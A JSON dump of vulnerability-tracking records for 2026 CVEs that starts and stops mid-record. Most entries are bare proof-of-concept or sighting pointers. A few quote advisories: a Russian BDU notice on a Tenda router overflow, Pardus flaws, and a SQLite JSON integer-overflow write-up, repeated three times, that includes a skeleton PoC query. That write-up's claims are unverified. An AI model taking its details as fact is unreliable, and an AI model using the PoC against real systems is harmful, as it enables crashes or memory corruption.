"Telegram/B-z3crZ1dI3tmPIxruR2FuLMmThruFg0zQ194epA7uIe11s", "content": "", "creation_timestamp": "2026-04-09T21:23:00.000000Z"}, {"uuid": "704f1e34-faf3-4f1a-833b-0fe900768c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "published-proof-of-concept", "source": "Telegram/3Mh7UNYEFXpMlnqwZliCqvVomRJKwd1lMrCq1dUb7HxJoTM", "content": "", "creation_timestamp": "2026-04-09T21:22:41.000000Z"}, {"uuid": "ce99b318-07a7-4c8c-b43f-e0e7ea703bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5144", "type": "seen", "source": "Telegram/-uyrs94fGKBZTNu2mzMK-L-9Rc5lrbCygfSEFHI7W39_U14", "content": "", "creation_timestamp": "2026-04-11T03:21:49.000000Z"}, {"uuid": "4c688477-4a54-4b4f-a1fb-e717ce8bbc2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5176", "type": "seen", "source": "Telegram/v8IgW6gHpWVIushUEONWR1rBf1AadyMpGfLyvEGnY-900sw", "content": "", "creation_timestamp": "2026-03-31T03:17:25.000000Z"}, {"uuid": "60fc0946-e4aa-49b9-b5ea-afe3cb5ce531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "published-proof-of-concept", "source": "Telegram/XRvc7f-x7KgmkvO7GcbaizI94C7ZhNHc5jsbe-dfAO5iAWk", "content": "", "creation_timestamp": "2026-04-09T01:28:16.000000Z"}, {"uuid": "fc4bc119-a4b4-4530-8a30-b80daa35475f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5115", "type": "published-proof-of-concept", "source": "Telegram/l2CWtN20f6D8WOiAClhqJgrdc6BQljDZCBDw2ZgpHM67Hss", "content": "", "creation_timestamp": "2026-04-03T19:24:00.000000Z"}, {"uuid": "bd1b312f-ee08-41cd-8a98-0da6e454d8d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5128", "type": "published-proof-of-concept", "source": "Telegram/Jin6gTh1tzwL23OhrQu33HMA83fW66owEqu0xdDcIoPjWG8", "content": "", "creation_timestamp": "2026-03-30T11:15:11.000000Z"}, {"uuid": "c1ceb093-de56-4f80-8d33-2e08e100b26c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5152", "type": "published-proof-of-concept", "source": "Telegram/dTdXmSClQuUutduSI7B7lq8U0lWyZCa4SY-4SfXv6kqarNA", "content": "", "creation_timestamp": "2026-03-30T23:20:23.000000Z"}, {"uuid": "ba87951d-5cff-45a3-83c9-c3ccbe73f46c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5176", "type": "published-proof-of-concept", "source": "Telegram/IB0vDqkbcSoOXVxhuE1_D8EzJAmWz8cRHRiExVeFYKeG0j8", "content": "", "creation_timestamp": "2026-03-31T03:17:48.000000Z"}, {"uuid": "7e97fcec-e022-488b-93c5-b5126b0d4e5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5150", "type": "published-proof-of-concept", "source": "Telegram/BUI_3SEyOfGtUgM1Z1U1o2mGpepftA8GfZph5NShzoYe3c8", "content": "", "creation_timestamp": "2026-03-30T21:21:54.000000Z"}, {"uuid": "6ec2edba-e140-4e72-b370-73aee0e795d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5198", "type": "seen", "source": "Telegram/GoYhMbIBJrUQVgFRnoM40D1rFway6I5o3ckcxiQjEVHvvo4", "content": "", "creation_timestamp": "2026-03-31T13:19:41.000000Z"}, {"uuid": "08e720ad-11f1-45a7-a184-065cdacd648d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5155", "type": "published-proof-of-concept", "source": "Telegram/BTKLtj-k8mr85u8APet4JWB7IXQUJMvyBZkl_BjpM3LulPU", "content": "", "creation_timestamp": "2026-03-31T01:16:25.000000Z"}, {"uuid": "1133d6fa-f7b6-40a8-b41c-1114fe7379f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5121", "type": "published-proof-of-concept", "source": "Telegram/WxHgPFElWYDoFBGl3K0BVKfspuGbiR8geCdPJnxqtoWdxxM", "content": "", "creation_timestamp": "2026-03-31T17:24:25.000000Z"}, {"uuid": "5f08b1e3-16be-4002-aba8-0851acce8223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5195", "type": "seen", "source": "Telegram/qhrMuORufep18va9_eZH1nvqNGmq4wR7ALJzzgA5Ea6S8aY", "content": "", "creation_timestamp": "2026-03-31T11:17:48.000000Z"}, {"uuid": "d3dc2236-c009-47c0-a4bd-ce1f813312ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5147", "type": "seen", "source": "Telegram/3uob0OgNXCPySF5ZgiHiYbQAvLr6RIUarGC854yFCH2MAgQ", "content": "", "creation_timestamp": "2026-03-30T21:21:40.000000Z"}, {"uuid": "7ca6b121-2b9b-468d-ab2f-80d5aa1706f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5190", "type": "published-proof-of-concept", "source": "Telegram/E6DSeVNy1uX9gptW9gUevVOkWF-Be1dfF2SO_nx5Xk2F0EI", "content": "", "creation_timestamp": "2026-03-31T19:20:34.000000Z"}, {"uuid": "6ae5cce2-e05a-4f99-96f0-af5debc92d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5154", "type": "published-proof-of-concept", "source": "Telegram/BTKLtj-k8mr85u8APet4JWB7IXQUJMvyBZkl_BjpM3LulPU", "content": "", "creation_timestamp": "2026-03-31T01:16:25.000000Z"}, {"uuid": "9656ed68-c419-41a3-8758-dded97d044da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5156", "type": "published-proof-of-concept", "source": "Telegram/BTKLtj-k8mr85u8APet4JWB7IXQUJMvyBZkl_BjpM3LulPU", "content": "", "creation_timestamp": "2026-03-31T01:16:25.000000Z"}, {"uuid": "ec56e6d3-c4e6-487e-962c-c8bd07a7944f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5130", "type": "published-proof-of-concept", "source": "Telegram/BTKLtj-k8mr85u8APet4JWB7IXQUJMvyBZkl_BjpM3LulPU", "content": "", "creation_timestamp": "2026-03-31T01:16:25.000000Z"}, {"uuid": "cec605f9-8d83-45c1-8745-ecbc284636ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5182", "type": "published-proof-of-concept", "source": "Telegram/1iWaApiUM0jOADSkCxbAhXY3iS1qKmB0s9RsJgnPCTY34SA", "content": "", "creation_timestamp": "2026-03-31T07:15:33.000000Z"}, {"uuid": "0b3f8418-ef14-4e25-ad55-dacda24ff746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5180", "type": "published-proof-of-concept", "source": "Telegram/1iWaApiUM0jOADSkCxbAhXY3iS1qKmB0s9RsJgnPCTY34SA", "content": "", "creation_timestamp": "2026-03-31T07:15:33.000000Z"}, {"uuid": "8214b133-d32d-4940-863b-cff5d21f055f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5179", "type": "published-proof-of-concept", "source": "Telegram/1iWaApiUM0jOADSkCxbAhXY3iS1qKmB0s9RsJgnPCTY34SA", "content": "", "creation_timestamp": "2026-03-31T07:15:33.000000Z"}, {"uuid": "52cc6214-b124-4463-a096-69bfef16e737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5156", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3049", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 formQuickIndex() \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 Tenda CH22 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\nBDU:2026-04337\nCVE-2026-5156\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0434\u043b\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f (\u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438) \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439;\n- \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438:\nhttps://github.com/Litengzheng/vuldb_new/blob/main/CH22/vul_46/README.md", "creation_timestamp": "2026-04-01T14:48:44.000000Z"}, {"uuid": "d8f2f557-d85d-4b2e-b2c2-17cd524acdbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5140", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkndfxha222o", "content": "CVE-2026-5140 - Authorization Bypass in TUBITAK BILGEM's Pardus Update\nCVE ID : CVE-2026-5140\n \n Published : April 29, 2026, 1:02 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : Improper neutralization of CRLF sequences ('CRLF injection') vulnerability in TUBITAK BILGEM Softwar...", "creation_timestamp": "2026-04-29T14:41:29.937366Z"}, {"uuid": "87867827-8858-47e8-a294-5513016336ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5166", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mknixbwiho2e", "content": "CVE-2026-5166 - Path Traversal in TUBITAK BILGEM's Pardus Software Center\nCVE ID : CVE-2026-5166\n \n Published : April 29, 2026, 2:33 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in T...", "creation_timestamp": "2026-04-29T16:20:40.038493Z"}, {"uuid": "cb166858-ef50-476c-a69e-cd154aafe04a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5161", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mknjl225yv2k", "content": "CVE-2026-5161 - Improper Authentication in TUBITAK BILGEM's Pardus About\nCVE ID : CVE-2026-5161\n \n Published : April 29, 2026, 3:16 p.m. | 1\u00a0hour ago\n \n Description : Improper link resolution before file access ('link following') vulnerability in TUBITAK BILGEM Software Techno...", "creation_timestamp": "2026-04-29T16:31:43.177416Z"}, {"uuid": "ed68e76f-64c6-4f98-845a-17c6b5e68476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5141", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mknjtyhwd42e", "content": "CVE-2026-5141 - Improper Access Control in TUBITAK BILGEM's Pardus Software Center\nCVE ID : CVE-2026-5141\n \n Published : April 29, 2026, 3:16 p.m. | 1\u00a0hour ago\n \n Description : Improper Privilege Management, Improper Access Control, Incorrect privilege assignment vulnerability...", "creation_timestamp": "2026-04-29T16:36:43.091430Z"}, {"uuid": "cc80ff00-1dc1-4f12-9d39-4db59cbcc42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51287", "type": "seen", "source": "https://gist.github.com/programmervuln/45be893003233e0a5392b369de70c03f", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51289 \u2013 MITRE / GHSA Ready Vulnerability Entry\nSibling vulnerability within SQLite JSON extension (json.c), distinct code path separate from CVE-2026-51287 (UAF) and CVE-2026-51288 (OOB read).\nAffected Product\nSQLite\nAffected / Fixed Versions\nAffected: SQLite 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and all subsequent releases\nCVE ID\nCVE-2026-51289\nProse Vulnerability Description (Long Form for GHSA & Vendor Advisory)\nAn integer overflow vulnerability leading to heap memory corruption exists within the JSON object key allocation routine in the \nJSON extension (json.c) of SQLite. When parsing specially crafted JSON input containing an extremely large number of object key-value pairs, \narithmetic operations calculating required allocation size for storing object members can overflow a signed integer type. This results in\nundersized heap buffer allocation. Subsequent population of object entries writes data beyond the bounds of the allocated buffer.\nAn attacker able to submit arbitrary SQL queries with controlled JSON payloads to a vulnerable SQLite instance can trigger this flaw. \nSuccessful exploitation may cause application crash (denial of service) and, under favourable heap conditions, lead to arbitrary memory write.\nOnly builds compiled with JSON extension support are vulnerable; binaries built with -DSQLITE_OMIT_JSON are unaffected. This issue is \nindependent of the JSON path evaluation flaws tracked as CVE-2026-51287 and CVE-2026-51288.\nShort Form (MITRE submission character limit optimized)\nAn integer overflow resulting in heap buffer overflow exists in JSON object member allocation logic within the JSON extension (json.c) of SQLite.\nMalicious JSON payloads with a large quantity of object keys trigger miscalculation of buffer size during allocation. Subsequent memory writes\ncorrupt adjacent heap memory. An attacker supplying arbitrary SQL can trigger process crash or potential arbitrary memory modification. \nAffected SQLite versions: 3.45.0\u20133.47.1; fixed in version 3.48.0. Only JSON-enabled builds are vulnerable.\nSupplementary Technical Information\nVulnerability Type: CWE-190 \u2013 Integer Overflow or Wraparound leading to CWE-787 \u2013 Out-of-bounds Write\nRoot Cause\nWhen constructing a JSON object JsonNode, the code computes total memory required to hold all object key-value entries using signed integer \narithmetic. If the parsed object contains enough members, the summation overflows the signed integer variable used for size calculation. \nThe truncated smaller value is passed to the memory allocator, creating an undersized buffer. The program then proceeds to copy all parsed \nobject entries into this insufficient buffer without secondary size validation, causing sequential out-of-bounds heap writes. The vulnerable \nparsing logic operates during initial JSON document deserialization, before any JSON path evaluation.\nImpact & PoC Rationale\nImpact\nDenial of Service: Heap corruption triggers segmentation fault and process termination.\nArbitrary Memory Write: Controlled overflow may enable modification of adjacent heap metadata or application data.\nAttack prerequisite: Attacker controls raw JSON input passed to SQL JSON functions like JSON_EXTRACT(), JSON_VALID(), JSON_OBJECT().\nPoC Rationale\nThe proof-of-concept payload generates a JSON object containing a huge number of inline key-value pairs. When parsed by SQLite\u2019s JSON \ndeserializer, the member count triggers the integer overflow in buffer size calculation. ASAN execution confirms heap buffer overflow writes \nupon parsing the payload.\nsql\n-- Simplified PoC skeleton (expand key count to reach overflow threshold)\nSELECT JSON_VALID('{\"k1\":1,\"k2\":2,\"k3\":3,......,\"kN\":99}');\nPayload must contain sufficient object members to cross the integer overflow threshold; minimal skeleton demonstrates the entry point, \npayload repetition required to hit vulnerable arithmetic.\nAdditional Disclosure Metadata\nWorkaround\nRestrict maximum size and maximum number of object entries for all untrusted JSON inputs before passing to SQLite functions.\nDisable JSON extension via -DSQLITE_OMIT_JSON if unused.\nAvoid directly ingesting unvalidated large JSON from external sources.\nProposed CVSS 3.1 Vector\nAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\nBase Score: 8.9 (High)\nPatch Context\nThe SQLite 3.48.0 fix adds pre-allocation overflow checks for all size arithmetic during JsonNode creation. If size calculations\nexceed safe bounds, parsing terminates early with an error before memory allocation occurs.", "creation_timestamp": "2026-07-30T03:05:43.162289Z"}, {"uuid": "c314292b-762f-47e2-9872-0e5cbece7cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51288", "type": "seen", "source": "https://gist.github.com/programmervuln/45be893003233e0a5392b369de70c03f", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51289 \u2013 MITRE / GHSA Ready Vulnerability Entry\nSibling vulnerability within SQLite JSON extension (json.c), distinct code path separate from CVE-2026-51287 (UAF) and CVE-2026-51288 (OOB read).\nAffected Product\nSQLite\nAffected / Fixed Versions\nAffected: SQLite 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and all subsequent releases\nCVE ID\nCVE-2026-51289\nProse Vulnerability Description (Long Form for GHSA & Vendor Advisory)\nAn integer overflow vulnerability leading to heap memory corruption exists within the JSON object key allocation routine in the \nJSON extension (json.c) of SQLite. When parsing specially crafted JSON input containing an extremely large number of object key-value pairs, \narithmetic operations calculating required allocation size for storing object members can overflow a signed integer type. This results in\nundersized heap buffer allocation. Subsequent population of object entries writes data beyond the bounds of the allocated buffer.\nAn attacker able to submit arbitrary SQL queries with controlled JSON payloads to a vulnerable SQLite instance can trigger this flaw. \nSuccessful exploitation may cause application crash (denial of service) and, under favourable heap conditions, lead to arbitrary memory write.\nOnly builds compiled with JSON extension support are vulnerable; binaries built with -DSQLITE_OMIT_JSON are unaffected. This issue is \nindependent of the JSON path evaluation flaws tracked as CVE-2026-51287 and CVE-2026-51288.\nShort Form (MITRE submission character limit optimized)\nAn integer overflow resulting in heap buffer overflow exists in JSON object member allocation logic within the JSON extension (json.c) of SQLite.\nMalicious JSON payloads with a large quantity of object keys trigger miscalculation of buffer size during allocation. Subsequent memory writes\ncorrupt adjacent heap memory. An attacker supplying arbitrary SQL can trigger process crash or potential arbitrary memory modification. \nAffected SQLite versions: 3.45.0\u20133.47.1; fixed in version 3.48.0. Only JSON-enabled builds are vulnerable.\nSupplementary Technical Information\nVulnerability Type: CWE-190 \u2013 Integer Overflow or Wraparound leading to CWE-787 \u2013 Out-of-bounds Write\nRoot Cause\nWhen constructing a JSON object JsonNode, the code computes total memory required to hold all object key-value entries using signed integer \narithmetic. If the parsed object contains enough members, the summation overflows the signed integer variable used for size calculation. \nThe truncated smaller value is passed to the memory allocator, creating an undersized buffer. The program then proceeds to copy all parsed \nobject entries into this insufficient buffer without secondary size validation, causing sequential out-of-bounds heap writes. The vulnerable \nparsing logic operates during initial JSON document deserialization, before any JSON path evaluation.\nImpact & PoC Rationale\nImpact\nDenial of Service: Heap corruption triggers segmentation fault and process termination.\nArbitrary Memory Write: Controlled overflow may enable modification of adjacent heap metadata or application data.\nAttack prerequisite: Attacker controls raw JSON input passed to SQL JSON functions like JSON_EXTRACT(), JSON_VALID(), JSON_OBJECT().\nPoC Rationale\nThe proof-of-concept payload generates a JSON object containing a huge number of inline key-value pairs. When parsed by SQLite\u2019s JSON \ndeserializer, the member count triggers the integer overflow in buffer size calculation. ASAN execution confirms heap buffer overflow writes \nupon parsing the payload.\nsql\n-- Simplified PoC skeleton (expand key count to reach overflow threshold)\nSELECT JSON_VALID('{\"k1\":1,\"k2\":2,\"k3\":3,......,\"kN\":99}');\nPayload must contain sufficient object members to cross the integer overflow threshold; minimal skeleton demonstrates the entry point, \npayload repetition required to hit vulnerable arithmetic.\nAdditional Disclosure Metadata\nWorkaround\nRestrict maximum size and maximum number of object entries for all untrusted JSON inputs before passing to SQLite functions.\nDisable JSON extension via -DSQLITE_OMIT_JSON if unused.\nAvoid directly ingesting unvalidated large JSON from external sources.\nProposed CVSS 3.1 Vector\nAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H\nBase Score: 8.9 (High)\nPatch Context\nThe SQLite 3.48.0 fix adds pre-allocation overflow checks for all size arithmetic during JsonNode creation. If size calculations\nexceed safe bounds, parsing terminates early with an error before memory allocation occurs.", "creation_timestamp": "2026-07-30T03:05:43.224488Z"}, {"uuid": "880099ce-4f97-4f3e-be48-55a1f9be6db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51289", "type": "seen", "source": "https://gist.github.com/programmervuln/45be893003233e0a5392b369de70c03f", "content": "vulnerable code link: https://github.com/sqlite/sqlite/blob/version-3.46.0/src/json.c\nCVE-2026-51289 \u2013 MITRE / GHSA Ready Vulnerability Entry\nSibling vulnerability within SQLite JSON extension (json.c), distinct code path separate from CVE-2026-51287 (UAF) and CVE-2026-51288 (OOB read).\nAffected Product\nSQLite\nAffected / Fixed Versions\nAffected: SQLite 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and all subsequent releases\nCVE ID\nCVE-2026-51289\nProse Vulnerability Description (Long Form for GHSA & Vendor Advisory)\nAn integer overflow vulnerability leading to heap memory corruption exists within the JSON object key allocation routine in the \nJSON extension (json.c) of SQLite. When parsing specially crafted JSON input containing an extremely large number of object key-value pairs, \narithmetic operations calculating required allocation size for storing object members can overflow a signed integer type. This results in\nundersized heap buffer allocation. Subsequent population of object entries writes data beyond the bounds of the allocated buffer.\nAn attacker able to submit arbitrary SQL queries with controlled JSON payloads to a vulnerable SQLite instance can trigger this flaw. \nSuccessful exploitation may cause application crash (denial of service) and, under favourable heap conditions, lead to arbitrary memory write.\nOnly builds compiled with JSON extension support are vulnerable; binaries built with -DSQLITE_OMIT_JSON are unaffected. This issue is \nindependent of the JSON path evaluation flaws tracked as CVE-2026-51287 and CVE-2026-51288.\nShort Form (MITRE submission character limit optimized)\nAn integer overflow resulting in heap buffer overflow exists in JSON object member allocation logic within the JSON extension (json.c) of SQLite.\nMalicious JSON payloads with a large quantity of object keys trigger miscalculation of buffer size during allocation. Subsequent memory writes\ncorrupt adjacent heap memory. An attacker supplying arbitrary SQL can trigger process crash or potential arbitrary memory modification. \nAffected SQLite versions: 3.45.0\u20133.47.1; fixed in version 3.48.0. Only JSON-enabled builds are vulnerable.\nSupplementary Technical Information\nVulnerability Type: CWE-190 \u2013 Integer Overflow or Wraparound leading to CWE-787 \u2013 Out-of-bounds Write\nRoot Cause\nWhen constructing a JSON object JsonNode, the code computes total memory required to hold all object key-value entries using signed integer \narithmetic. If the parsed object contains enough members, the summation overflows the signed integer variable used for size calculation. \nThe truncated smaller value is passed to the memory allocator, creating an undersized buffer. The program then proceeds to copy all parsed \nobject entries into this insufficient buffer without secondary size validation, causing sequential out-of-bounds heap writes. The vulnerable \nparsing logic operates during initial JSON document deserialization, before any JSON path evaluation.\nImpact & PoC Rationale\nImpact\nDenial of Service: Heap corruption triggers segmentation fault and process termination.\nArbitrary Memory Write: Controlled overflow may enable modification of adjacent heap metadata or application data.\nAttack prerequisite: Attacker controls raw JSON input passed to SQL JSON functions like JSON_EXTRACT(), 